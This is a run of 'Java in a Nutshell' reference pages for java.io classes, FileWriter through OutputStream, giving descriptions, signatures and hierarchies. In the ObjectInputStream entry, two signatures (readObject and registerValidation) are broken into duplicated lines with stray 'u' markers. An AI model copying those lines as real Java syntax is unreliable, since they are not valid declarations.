FileWriter is a convenience subclass of OutputStreamWriter that is useful when you want to write text (as opposed to binary data) to a file. You create a FileWriter by specifying the file to be written to, and optionally specifying whether the data should be appended to the end of an existing file instead of overwriting that file.

The FileWriter class creates an internal FileOutputStream to write bytes to the specified file, and uses the functionality of its superclass, OutputStreamWriter, to convert the Unicode characters written to the stream characters into bytes using the default encoding of the default locale. (If you want to use an encoding other than the default, you cannot use FileWriter; in that case you must create your own OutputStreamWriter and FileOutputStream.)

Because FileWriter is a trivial subclass of OutputStreamWriter, it does not define any methods of its own, but simply inherits them from its superclass.

public class FileWriter extends OutputStreamWriter {
    // Public Constructors
            public FileWriter(String fileName) throws IOException;
            public FileWriter(String fileName, boolean append) throws IOException;
            public FileWriter(File file) throws IOException;
            public FileWriter(FileDescriptor fd);
}

Hierarchy:

Object->Writer->OutputStreamWriter->FileWriter

Previous | Home | Next
java.io.FileReader (JDK 1.1) | Book Index | java.io.FilenameFilter (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.23 java.io.FilenameFilter (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.23 java.io.FilenameFilter (JDK 1.0)

This interface defines the accept() method that must be implemented by any object that filters filenames (i.e., selects a subset of filenames from a list of filenames). There are no standard FilenameFilter classes implemented by Java, but objects that implement this interface are used by the java.awt.FileDialog object, and by the File.list() method. A typical FilenameFilter object might check that the specified File represents a file (not a directory), is readable (and possibly writable as well), and that its name ends with some desired extension.

public abstract interface FilenameFilter {
    // Public Instance Methods
            public abstract boolean accept(File dir, String name);
}

Passed To:

File.list(),
FileDialog.setFilenameFilter(),
FileDialogPeer.setFilenameFilter()

Returned By:

FileDialog.getFilenameFilter()

Previous | Home | Next
java.io.FileWriter (JDK 1.1) | Book Index | java.io.FilterInputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.24 java.io.FilterInputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.24 java.io.FilterInputStream (JDK 1.0)

This class provides method definitions required to filter data obtained from the InputStream specified when the FilterInputStream is created. It must be subclassed to perform some sort of filtering operation, and may not be instantiated directly. See the subclasses BufferedInputStream, DataInputStream, and PushbackInputStream.

public class FilterInputStream extends InputStream {
    // Protected Constructor
            protected FilterInputStream(InputStream in);
    // Protected Instance Variables
            protected InputStream in;
    // Public Instance Methods
            public int available() throws IOException;  // Overrides InputStream
            public void close() throws IOException;  // Overrides InputStream
            public synchronized void mark(int readlimit);  // Overrides InputStream
            public boolean markSupported();  // Overrides InputStream
            public int read() throws IOException;  // Defines InputStream
            public int read(byte[] b) throws IOException;  // Overrides InputStream
            public int read(byte[] b, int off, int len) throws IOException;  // Overrides InputStream
            public synchronized void reset() throws IOException;  // Overrides InputStream
            public long skip(long n) throws IOException;  // Overrides InputStream
}

Hierarchy:

Object->InputStream->FilterInputStream

Extended By:

BufferedInputStream, CheckedInputStream, DataInputStream, InflaterInputStream, LineNumberInputStream, PushbackInputStream

Previous | Home | Next
java.io.FilenameFilter (JDK 1.0) | Book Index | java.io.FilterOutputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.25 java.io.FilterOutputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.25 java.io.FilterOutputStream (JDK 1.0)

This class provides method definitions required to filter the data to be written to the OutputStream specified when the FilterOutputStream is created. It must be subclassed to perform some sort of filtering operation and may not be instantiated directly. See the subclasses BufferedOutputStream and DataOutputStream.

public class FilterOutputStream extends OutputStream {
    // Public Constructor
            public FilterOutputStream(OutputStream out);
    // Protected Instance Variables
            protected OutputStream out;
    // Public Instance Methods
            public void close() throws IOException;  // Overrides OutputStream
            public void flush() throws IOException;  // Overrides OutputStream
            public void write(int b) throws IOException;  // Defines OutputStream
            public void write(byte[] b) throws IOException;  // Overrides OutputStream
            public void write(byte[] b, int off, int len) throws IOException;  // Overrides OutputStream
}

Hierarchy:

Object->OutputStream->FilterOutputStream

Extended By:

BufferedOutputStream, CheckedOutputStream, DataOutputStream, DeflaterOutputStream, PrintStream

Previous | Home | Next
java.io.FilterInputStream (JDK 1.0) | Book Index | java.io.FilterReader (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.26 java.io.FilterReader (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.26 java.io.FilterReader (JDK 1.1)

This abstract class is intended to act as a superclass for character input streams that read data from some other character input stream, filter it in some way, and then return the filtered data when their own read() methods are called.

FilterReader is declared abstract, so that it cannot be instantiated. But none of its methods are themselves abstract: they all simply call the requested operation on the input stream passed to the FilterReader() constructor. If you were allowed to instantiate a FilterReader, you'd find that it is a "null filter"--i.e., it simply reads characters from the specified input stream and returns them without filtering of any kind.

Because FilterReader implements a "null filter," it is an ideal superclass for classes that want to implement simple filters, but do not want to override all of the methods of Reader. In order to create your own filtered character input stream, you should subclass FilterReader and override both of its read() methods to perform the desired filtering operation. Note that you can implement one of the read() methods in terms of the other, and thus only implement the filtration once. Recall that the other read() methods defined by Reader are implemented in terms of these methods, so you do not need to override those. In some cases, you may also need to override other methods of FilterReader as well, and you may want to provide methods or constructors that are specific to your subclass.

FilterReader is the character-stream analog to FilterInputStream.

public abstract class FilterReader extends Reader {
    // Protected Constructor
            protected FilterReader(Reader in);
    // Protected Instance Variables
            protected Reader in;
    // Public Instance Methods
            public void close() throws IOException;  // Defines Reader
            public void mark(int readAheadLimit) throws IOException;  // Overrides Reader
            public boolean markSupported();  // Overrides Reader
            public int read() throws IOException;  // Overrides Reader
            public int read(char[] cbuf, int off, int len) throws IOException;  // Defines Reader
            public boolean ready() throws IOException;  // Overrides Reader
            public void reset() throws IOException;  // Overrides Reader
            public long skip(long n) throws IOException;  // Overrides Reader
}

Hierarchy:

Object->Reader->FilterReader

Extended By:

PushbackReader

Previous | Home | Next
java.io.FilterOutputStream (JDK 1.0) | Book Index | java.io.FilterWriter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.27 java.io.FilterWriter (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.27 java.io.FilterWriter (JDK 1.1)

This abstract class is intended to act as a superclass for character output streams that filter the data written to them before writing it to some other character output stream.

FilterWriter is declared abstract, so that it cannot be instantiated. But none of its methods are themselves abstract: they all simply invoke the corresponding method on the output stream that was passed to the FilterWriter constructor. If you were allowed to instantiate a FilterWriter object, you'd find that it acts as a "null filter"--that it simply passes the characters written to it along, without any filtration.

Because FilterWriter implements a "null filter," it is an ideal superclass for classes that want to implement simple filters without having to override all of the methods of Writer. In order to create your own filtered character output stream, you should subclass FilterWriter and override all of its write() methods to perform the desired filtering operation. Note that you can implement two of the write() methods in terms of the third, and thus only implement your filtering algorithm once. In some cases, you may want to override other Writer methods as well, and you may often want to add other methods or constructors that are specific to your subclass.

FilterWriter is the character-stream analog of FilterOutputStream.

public abstract class FilterWriter extends Writer {
    // Protected Constructor
            protected FilterWriter(Writer out);
    // Protected Instance Variables
            protected Writer out;
    // Public Instance Methods
            public void close() throws IOException;  // Defines Writer
            public void flush() throws IOException;  // Defines Writer
            public void write(int c) throws IOException;  // Overrides Writer
            public void write(char[] cbuf, int off, int len) throws IOException;  // Defines Writer
            public void write(String str, int off, int len) throws IOException;  // Overrides Writer
}

Hierarchy:

Object->Writer->FilterWriter

Previous | Home | Next
java.io.FilterReader (JDK 1.1) | Book Index | java.io.InputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.28 java.io.InputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.28 java.io.InputStream (JDK 1.0)

This abstract class is the superclass of all input streams. It defines the basic input methods that all input stream classes provide.

read() reads a single byte or an array or subarray of bytes. It returns the byte read, or the number of bytes read, or -1 if the end-of-file has been reached. skip() skips a specified number of bytes of input. available() returns the number of bytes that can be read without blocking. close() closes the input stream and frees up any system resources associated with it. The stream should not be used after close() has been called.

If markSupported() returns true for a given InputStream, that stream supports mark() and reset() methods. mark() marks the current position in the input stream so that reset() can return to that position as long as no more than the specified number of bytes have been read between the mark() and reset(). See also Reader.

public abstract class InputStream extends Object {
    // Default Constructor: public InputStream()
    // Public Instance Methods
            public int available() throws IOException;
            public void close() throws IOException;
            public synchronized void mark(int readlimit);
            public boolean markSupported();
            public abstract int read() throws IOException;
            public int read(byte[] b) throws IOException;
            public int read(byte[] b, int off, int len) throws IOException;
            public synchronized void reset() throws IOException;
            public long skip(long n) throws IOException;
}

Extended By:

ByteArrayInputStream, FileInputStream, FilterInputStream, ObjectInputStream, PipedInputStream, SequenceInputStream, StringBufferInputStream

Passed To:

BufferedInputStream(),
CheckedInputStream(),
DataInputStream(),
FilterInputStream(),
GZIPInputStream(),
InflaterInputStream(),
InputStreamReader(),
LineNumberInputStream(),
ObjectInputStream(),
Properties.load(),
PropertyResourceBundle(),
PushbackInputStream(),
Runtime.getLocalizedInputStream(),
SequenceInputStream(),
StreamTokenizer(),
System.setIn(),
URLConnection.guessContentTypeFromStream(),
ZipInputStream()

Returned By:

Class.getResourceAsStream(),
ClassLoader.getResourceAsStream(),
ClassLoader.getSystemResourceAsStream(),
Process.getErrorStream(),
Process.getInputStream(),
Runtime.getLocalizedInputStream(),
Socket.getInputStream(),
SocketImpl.getInputStream(),
URL.openStream(),
URLConnection.getInputStream(),
ZipFile.getInputStream()

Type Of:

FilterInputStream.in, System.in

Previous | Home | Next
java.io.FilterWriter (JDK 1.1) | Book Index | java.io.InputStreamReader (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.29 java.io.InputStreamReader (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.29 java.io.InputStreamReader (JDK 1.1)

This class is a character input stream that uses a byte input stream as its data source: it reads bytes from a specified InputStream and translates them into Unicode characters according to a particular platform- and locale-dependent character encoding. This is a very important internationalization feature in Java 1.1.

When you create an InputStreamReader, you specify an InputStream from which the InputStreamReader is to read bytes, and you also optionally specify the name of the character encoding used by those bytes. If you do not specify an encoding name, the InputStreamReader uses the default encoding for the default locale, which is usually the correct thing to do.

The InputStreamReader supports the standard Reader methods. It also has a getEncoding() method that returns the name of the encoding being used to convert bytes to characters.

public class InputStreamReader extends Reader {
    // Public Constructors
            public InputStreamReader(InputStream in);
            public InputStreamReader(InputStream in, String enc) throws UnsupportedEncodingException;
    // Public Instance Methods
            public void close() throws IOException;  // Defines Reader
            public String getEncoding();
            public int read() throws IOException;  // Overrides Reader
            public int read(char[] cbuf, int off, int len) throws IOException;  // Defines Reader
            public boolean ready() throws IOException;  // Overrides Reader
}

Hierarchy:

Object->Reader->InputStreamReader

Extended By:

FileReader

Previous | Home | Next
java.io.InputStream (JDK 1.0) | Book Index | java.io.InterruptedIOException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.30 java.io.InterruptedIOException (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.30 java.io.InterruptedIOException (JDK 1.0)

An IOException that signals that an input or output operation was interrupted. The bytesTransferred variable contains the number of bytes read or written before the operation was interrupted.

public class InterruptedIOException extends IOException {
    // Public Constructors
            public InterruptedIOException();
            public InterruptedIOException(String s);
    // Public Instance Variables
            public int bytesTransferred;
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->InterruptedIOException

Previous | Home | Next
java.io.InputStreamReader (JDK 1.1) | Book Index | java.io.InvalidClassException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.31 java.io.InvalidClassException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.31 java.io.InvalidClassException (JDK 1.1)

Signals that the serialization mechanism has encountered one of several possible problems with the class of an object that is being serialized or deserialized. The classname field should contain the name of the class in question, and the getMessage() method is overridden to return this class name with the message.

public class InvalidClassException extends ObjectStreamException {
    // Public Constructors
            public InvalidClassException(String reason);
            public InvalidClassException(String cname, String reason);
    // Public Instance Variables
            public String classname;
    // Public Instance Methods
            public String getMessage();  // Overrides Throwable
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->ObjectStreamException->InvalidClassException

Previous | Home | Next
java.io.InterruptedIOException (JDK 1.0) | Book Index | java.io.InvalidObjectException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.32 java.io.InvalidObjectException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.32 java.io.InvalidObjectException (JDK 1.1)

This exception should be thrown by the validateObject() method of an object that implements the ObjectInputValidation interface when a deserialized object fails an input validation test for any reason.

public class InvalidObjectException extends ObjectStreamException {
    // Public Constructor
            public InvalidObjectException(String reason);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->ObjectStreamException->InvalidObjectException

Thrown By:

ObjectInputStream.registerValidation(), ObjectInputValidation.validateObject()

Previous | Home | Next
java.io.InvalidClassException (JDK 1.1) | Book Index | java.io.IOException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.33 java.io.IOException (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.33 java.io.IOException (JDK 1.0)

Signals that an exceptional condition has occurred during input or output. This class has several more specific subclasses. See EOFException, FileNotFoundException, InterruptedIOException, and UTFDataFormatException.

public class IOException extends Exception {
    // Public Constructors
            public IOException();
            public IOException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException

Extended By:

CharConversionException, EOFException, FileNotFoundException, InterruptedIOException, MalformedURLException, ObjectStreamException, ProtocolException, SocketException, SyncFailedException, UnknownHostException, UnknownServiceException, UnsupportedEncodingException, UTFDataFormatException, ZipException

Thrown By:

Many methods

Previous | Home | Next
java.io.InvalidObjectException (JDK 1.1) | Book Index | java.io.LineNumberInputStream (JDK 1.0; Deprecated.)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.34 java.io.LineNumberInputStream (JDK 1.0; Deprecated.)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.34 java.io.LineNumberInputStream (JDK 1.0; Deprecated.)

This class is a FilterInputStream that keeps track of the number of lines of data that have been read. getLineNumber() returns the current line number. setLineNumber() sets the line number of the current line. Subsequent lines are numbered starting from that number.

This class is deprecated in Java 1.1 because it does not properly convert bytes to characters. Use LineNumberReader instead.

public class LineNumberInputStream extends FilterInputStream {
    // Public Constructor
            public LineNumberInputStream(InputStream in);
    // Public Instance Methods
            public int available() throws IOException;  // Overrides FilterInputStream
            public int getLineNumber();
            public void mark(int readlimit);  // Overrides FilterInputStream
            public int read() throws IOException;  // Overrides FilterInputStream
            public int read(byte[] b, int off, int len) throws IOException;  // Overrides FilterInputStream
            public void reset() throws IOException;  // Overrides FilterInputStream
            public void setLineNumber(int lineNumber);
            public long skip(long n) throws IOException;  // Overrides FilterInputStream
}

Hierarchy:

Object->InputStream->FilterInputStream->LineNumberInputStream

Previous | Home | Next
java.io.IOException (JDK 1.0) | Book Index | java.io.LineNumberReader (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.35 java.io.LineNumberReader (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.35 java.io.LineNumberReader (JDK 1.1)

This class is a character input stream that keeps track of the number of lines of text that have been read from it. It supports the usual Reader methods, and also the readLine() method introduced by its superclass. In addition to these methods, you can call getLineNumber() to query the number of lines set so far. You can also call setLineNumber() to set the line number for the current line. Subsequent lines are numbered sequentially from this specified starting point.

This class is a character-stream analog to LineNumberInputStream, which has been deprecated in Java 1.1.

public class LineNumberReader extends BufferedReader {
    // Public Constructors
            public LineNumberReader(Reader in);
            public LineNumberReader(Reader in, int sz);
    // Public Instance Methods
            public int getLineNumber();
            public void mark(int readAheadLimit) throws IOException;  // Overrides BufferedReader
            public int read() throws IOException;  // Overrides BufferedReader
            public int read(char[] cbuf, int off, int len) throws IOException;  // Overrides BufferedReader
            public String readLine() throws IOException;  // Overrides BufferedReader
            public void reset() throws IOException;  // Overrides BufferedReader
            public void setLineNumber(int lineNumber);
            public long skip(long n) throws IOException;  // Overrides BufferedReader
}

Hierarchy:

Object->Reader->BufferedReader->LineNumberReader

Previous | Home | Next
java.io.LineNumberInputStream (JDK 1.0; Deprecated.) | Book Index | java.io.NotActiveException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.36 java.io.NotActiveException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.36 java.io.NotActiveException (JDK 1.1)

This exception is thrown in several circumstances. It indicates that the invoked method was not invoked at the right time or in the correct context. Typically it means that an ObjectOutputStream or ObjectInputStream is not currently active, and therefore the requested operation could not be performed.

public class NotActiveException extends ObjectStreamException {
    // Public Constructors
            public NotActiveException(String reason);
            public NotActiveException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->ObjectStreamException->NotActiveException

Thrown By:

ObjectInputStream.defaultReadObject(), ObjectInputStream.registerValidation()

Previous | Home | Next
java.io.LineNumberReader (JDK 1.1) | Book Index | java.io.NotSerializableException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.37 java.io.NotSerializableException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.37 java.io.NotSerializableException (JDK 1.1)

This exception signals that an object could not be serialized. It is thrown when serialization is attempted on an instance of a class that does not implement the Serializable interface. Note that it is also thrown when an attempt is made to serialize a Serializable object that refers to (or "contains") an object that is not Serializable.

A subclass of a class that is Serializable can prevent itself from being serialized by throwing this exception from its writeObject() and/or readObject() methods.

public class NotSerializableException extends ObjectStreamException {
    // Public Constructors
            public NotSerializableException(String classname);
            public NotSerializableException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->ObjectStreamException->NotSerializableException

Previous | Home | Next
java.io.NotActiveException (JDK 1.1) | Book Index | java.io.ObjectInput (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.38 java.io.ObjectInput (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.38 java.io.ObjectInput (JDK 1.1)

This interface extends the DataInput interface and adds methods for deserializing objects and reading bytes and arrays of bytes.

public abstract interface ObjectInput extends DataInput {
    // Public Instance Methods
            public abstract int available() throws IOException;
            public abstract void close() throws IOException;
            public abstract int read() throws IOException;
            public abstract int read(byte[] b) throws IOException;
            public abstract int read(byte[] b, int off, int len) throws IOException;
            public abstract Object readObject() throws ClassNotFoundException, IOException;
            public abstract long skip(long n) throws IOException;
}

Implemented By:

ObjectInputStream

Passed To:

Externalizable.readExternal()

Previous | Home | Next
java.io.NotSerializableException (JDK 1.1) | Book Index | java.io.ObjectInputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.39 java.io.ObjectInputStream (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.39 java.io.ObjectInputStream (JDK 1.1)

ObjectInputStream is used to deserialize objects, arrays, and other values from a stream that was previously created with an ObjectOutputStream. The readObject() method deserializes objects and arrays (which should then be cast to the appropriate type); various other methods are used to read primitive data values from the stream. Note that only objects that implement the Serializable interface or the Externalizable interface can be serialized and deserialized.

The defaultReadObject() method may only be called from the readObject() method of an object that is currently being deserialized. It allows an object to perform additional processing after deserializing itself. The registerValidation() method may also only be called from the readObject() method of an object being deserialized. It registers an ObjectInputValidation object (typically the object being deserialized) to be notified when a complete tree of objects has been deserialized and the original call to the readObject() method of the ObjectInputStream is about to return to its caller.

The remaining methods include miscellaneous stream manipulation methods and several protected methods for use by subclasses that want to customize the deserialization behavior of ObjectInputStream.

public class ObjectInputStream extends InputStream implements ObjectInput {
    // Public Constructor
            public ObjectInputStream(InputStream in) throws IOException, StreamCorruptedException;
    // Public Instance Methods
            public int available() throws IOException;  // Overrides InputStream
            public void close() throws IOException;  // Overrides InputStream
            public final void defaultReadObject() throws IOException, ClassNotFoundException, NotActiveException;
            public int read() throws IOException;  // Defines InputStream
            public int read(byte[] data, int offset, int length) throws IOException;  // Overrides InputStream
            public boolean readBoolean() throws IOException;  // From DataInput
            public byte readByte() throws IOException;  // From DataInput
            public char readChar() throws IOException;  // From DataInput
            public double readDouble() throws IOException;  // From DataInput
            public float readFloat() throws IOException;  // From DataInput
            public void readFully(byte[] data) throws IOException;  // From DataInput
            public void readFully(byte[] data, int offset, int size) throws IOException;  // From DataInput
            public int readInt() throws IOException;  // From DataInput
            public String readLine() throws IOException;  // From DataInput
            public long readLong() throws IOException;  // From DataInput
            public final Object readObject() throws OptionalDataException,
            public final Object readObject() 'u'ClassNotFoundException, IOException;  // From ObjectInput
            public short readShort() throws IOException;  // From DataInput
            public String readUTF() throws IOException;  // From DataInput
            public int readUnsignedByte() throws IOException;  // From DataInput
            public int readUnsignedShort() throws IOException;  // From DataInput
            public synchronized void registerValidation(ObjectInputValidation obj, int prio)
            public synchronized void registerValidation'u'throws NotActiveException, InvalidObjectException;
            public int skipBytes(int len) throws IOException;  // From DataInput
    // Protected Instance Methods
            protected final boolean enableResolveObject(boolean enable) throws SecurityException;
            protected void readStreamHeader() throws IOException, StreamCorruptedException;
            protected Class resolveClass(ObjectStreamClass v) throws IOException, ClassNotFoundException;
            protected Object resolveObject(Object obj) throws IOException;
}

Hierarchy:

Object->InputStream->ObjectInputStream(ObjectInput(DataInput))

Previous | Home | Next
java.io.ObjectInput (JDK 1.1) | Book Index | java.io.ObjectInputValidation (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.40 java.io.ObjectInputValidation (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.40 java.io.ObjectInputValidation (JDK 1.1)

A class implements this interface and defines the validateObject() method in order to be able to validate itself when it, and all the objects it depends on, have been completely deserialized from an ObjectInputStream. The validateObject() method is only invoked, however, if the object is passed to ObjectInputStream.registerValidation(); this must be done from the readObject() method of the object. Note that if an object is deserialized as part of a larger object graph, its validateObject() method is not invoked until the entire graph is read, and the original call to ObjectInputStream.readObject() is about to return.

validateObject() should throw an InvalidObjectException if the object fails validation. This stops object serialization, and causes the original call to ObjectInputStream.readObject() to terminate with the InvalidObjectException exception.

public abstract interface ObjectInputValidation {
    // Public Instance Methods
            public abstract void validateObject() throws InvalidObjectException;
}

Passed To:

ObjectInputStream.registerValidation()

Previous | Home | Next
java.io.ObjectInputStream (JDK 1.1) | Book Index | java.io.ObjectOutput (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.41 java.io.ObjectOutput (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.41 java.io.ObjectOutput (JDK 1.1)

This interface extends the DataOutput interface and adds methods for serializing objects and writing bytes and arrays of bytes.

public abstract interface ObjectOutput extends DataOutput {
    // Public Instance Methods
            public abstract void close() throws IOException;
            public abstract void flush() throws IOException;
            public abstract void write(int b) throws IOException;   // From DataOutput
            public abstract void write(byte[] b) throws IOException;  // From DataOutput
            public abstract void write(byte[] b, int off, int len) throws IOException;  // From DataOutput
            public abstract void writeObject(Object obj) throws IOException;
}

Implemented By:

ObjectOutputStream

Passed To:

Externalizable.writeExternal()

Previous | Home | Next
java.io.ObjectInputValidation (JDK 1.1) | Book Index | java.io.ObjectOutputStream (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.42 java.io.ObjectOutputStream (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.42 java.io.ObjectOutputStream (JDK 1.1)

The ObjectOutputStream is used to serialize objects, arrays, and other values to a stream. The writeObject() method serializes an object or array, and various other methods are used to write primitive data values to the stream. Note that only objects that implement the Serializable interface or the Externalizable interface can be serialized.

The defaultWriteObject() may only be called from the writeObject() method of a Serializable object. It allows an object to perform additional processing before or after serializing itself.

The remaining methods of ObjectOutputStream are miscellaneous stream manipulation methods and protected methods for use by subclasses that want to customize its serialization behavior.

public class ObjectOutputStream extends OutputStream implements ObjectOutput {
    // Public Constructor
            public ObjectOutputStream(OutputStream out) throws IOException;
    // Public Instance Methods
            public void close() throws IOException;  // Overrides OutputStream
            public final void defaultWriteObject() throws IOException;
            public void flush() throws IOException;  // Overrides OutputStream
            public void reset() throws IOException;
            public void write(int data) throws IOException;  // Defines OutputStream
            public void write(byte[] b) throws IOException;  // Overrides OutputStream
            public void write(byte[] b, int off, int len) throws IOException;  // Overrides OutputStream
            public void writeBoolean(boolean data) throws IOException;  // From DataOutput
            public void writeByte(int data) throws IOException;  // From DataOutput
            public void writeBytes(String data) throws IOException;  // From DataOutput
            public void writeChar(int data) throws IOException;  // From DataOutput
            public void writeChars(String data) throws IOException;  // From DataOutput
            public void writeDouble(double data) throws IOException;  // From DataOutput
            public void writeFloat(float data) throws IOException;  // From DataOutput
            public void writeInt(int data) throws IOException;  // From DataOutput
            public void writeLong(long data) throws IOException;  // From DataOutput
            public final void writeObject(Object obj) throws IOException;  // From ObjectOutput
            public void writeShort(int data) throws IOException;  // From DataOutput
            public void writeUTF(String data) throws IOException;  // From DataOutput
    // Protected Instance Methods
            protected void annotateClass(Class cl) throws IOException;
            protected void drain() throws IOException;
            protected final boolean enableReplaceObject(boolean enable) throws SecurityException;
            protected Object replaceObject(Object obj) throws IOException;
            protected void writeStreamHeader() throws IOException;
}

Hierarchy:

Object->OutputStream->ObjectOutputStream(ObjectOutput(DataOutput))

Passed To:

AWTEventMulticaster.save(), AWTEventMulticaster.saveInternal()

Previous | Home | Next
java.io.ObjectOutput (JDK 1.1) | Book Index | java.io.ObjectStreamClass (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.43 java.io.ObjectStreamClass (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.43 java.io.ObjectStreamClass (JDK 1.1)

This class is used to represent a class that is being serialized. An ObjectStreamClass object contains the name of a class and its unique version identifier. This class does not have a constructor; you should use the static lookup() method to obtain an ObjectStreamClass object for a given Class object. The forClass() instance method performs the opposite operation--it returns the Class object that corresponds to a given ObjectStreamClass.

Most applications never need to use this class.

public class ObjectStreamClass extends Object implements Serializable {
    // No Constructor
    // Class Methods
            public static ObjectStreamClass lookup(Class cl);
    // Public Instance Methods
            public Class forClass();
            public String getName();
            public long getSerialVersionUID();
            public String toString();  // Overrides Object
}

Passed To:

ObjectInputStream.resolveClass()

Returned By:

ObjectStreamClass.lookup()

Previous | Home | Next
java.io.ObjectOutputStream (JDK 1.1) | Book Index | java.io.ObjectStreamException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.44 java.io.ObjectStreamException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.44 java.io.ObjectStreamException (JDK 1.1)

This class is the superclass of a number of more specific exception types that may be raised in the process of serializing and deserializing objects with the ObjectOutputStream and ObjectInputStream classes.

public abstract class ObjectStreamException extends IOException {
    // Protected Constructors
            protected ObjectStreamException(String classname);
            protected ObjectStreamException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->ObjectStreamException

Extended By:

InvalidClassException, InvalidObjectException, NotActiveException, NotSerializableException, OptionalDataException, StreamCorruptedException, WriteAbortedException

Previous | Home | Next
java.io.ObjectStreamClass (JDK 1.1) | Book Index | java.io.OptionalDataException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.45 java.io.OptionalDataException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.45 java.io.OptionalDataException (JDK 1.1)

This exception is thrown by the readObject() method of an ObjectInputStream when it encounters primitive type data where it expects object data. Despite the exception name, this data is not "optional," and object deserialization is aborted.

public class OptionalDataException extends ObjectStreamException {
    // No Constructor
    // Public Instance Variables
            public boolean eof;
            public int length;
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->ObjectStreamException->OptionalDataException

Thrown By:

ObjectInputStream.readObject()

Previous | Home | Next
java.io.ObjectStreamException (JDK 1.1) | Book Index | java.io.OutputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.46 java.io.OutputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.46 java.io.OutputStream (JDK 1.0)

This abstract class is the superclass of all output streams. It defines the basic output methods that all output stream classes provide.

write() writes a single byte or an array or subarray of bytes. flush() forces any buffered output to be written. close() closes the stream and frees up any system resources associated with it. The stream may not be used once close() has been called.

See also Writer.

public abstract class OutputStream extends Object {
    // Default Constructor: public OutputStream()
    // Public Instance Methods
            public void close() throws IOException;
            public void flush() throws IOException;
            public abstract void write(int b) throws IOException;
            public void write(byte[] b) throws IOException;
            public void write(byte[] b, int off, int len) throws IOException;
}

Extended By:

